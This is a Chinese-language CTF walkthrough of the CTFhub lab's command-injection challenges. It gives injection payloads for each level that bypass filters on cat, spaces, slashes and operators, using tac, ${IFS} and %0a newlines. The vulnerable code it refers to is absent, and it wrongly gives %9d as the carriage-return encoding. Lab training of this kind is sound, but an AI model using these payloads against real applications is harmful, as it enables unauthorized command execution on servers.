CTFhub | 您所在的位置:网站首页 › ctfhub rce › CTFhub |
什么是命令行注入漏洞 命令行注入漏洞是指应用有时需要调用一些执行系统命令的函数, 如: system()、 exec()、 shell_ _exec()、eval()、passthru(), 代码未对用户可控参数做过滤,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。 以下我以CTFhub在线靶场向大家介绍一些命令注入的操作。 NO.1 无过滤注入 代码如上所示 可以看见这里没有任何限制条件,也就是说我们可以在这里模拟我们自己的Linux系统的命令行操作。 NO.2 过滤cat 代码如上所示 很明显,这里过滤掉了cat关键字。这时候有如下几总方式可以替换cat cat 由第一行开始显示内容,并将所有内容输出 tac 从最后一行倒序显示内容,并将所有内容输出 more 根据窗口大小,一页一页的显示文件内容 less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符 head 只显示头几行 tail 只显示最后几行 nl 类似于cat -n,显示时输出行号 tailf 类似于tail -f 先ls查看目录 发现存在flag_313911065126325.php 获取flag即可 ?ip=|tac flag_313911065126325.php flag在网页源代码中 NO.3 过滤空格 代码如上所示 空格过滤掉,我们得想办法用其它符号代替空格即可 使用IFS$9、%09、、、{,}、%20、${IFS}、${IFS}来代替空格 ?ip=|ls //查看当前目录 ?ip=|cat${IFS}flag_7868204008268.php# //获取flag NO.4 过滤目录分隔符 代码如上所示 这里过滤掉 "\" 和 “/” 首先还是查看目录 ;ls 发现 flag_is_here index.php 进入flag_is_here 再次查看目录 ?ip=;cd flag_is_here;ls# 发现 flag_24072605330316.php 获取flag ?ip=;cd flag_is_here;cat flag_24072605330316.php# NO.5 过滤运算符 代码如上所示 这里过滤掉了 | & 运算符 直接用 ; 代替即可 ?ip=;cat flag_228482899822968.php# //获取flag NO.6 综合过滤练习 这里过滤的东西很多: || & ; | cat flag ctfhub \ / 空格 这里我用换行符替换 运算符 换行符%0a 回车符%9d NO.6参考 https://blog.csdn.net/bmth666/article/details/104836708 以下链接为其它大佬的思路,个人感觉更为简单。 https://blog.csdn.net/weixin_43326436/article/details/106719844 |
CopyRight 2018-2019 实验室设备网 版权所有 |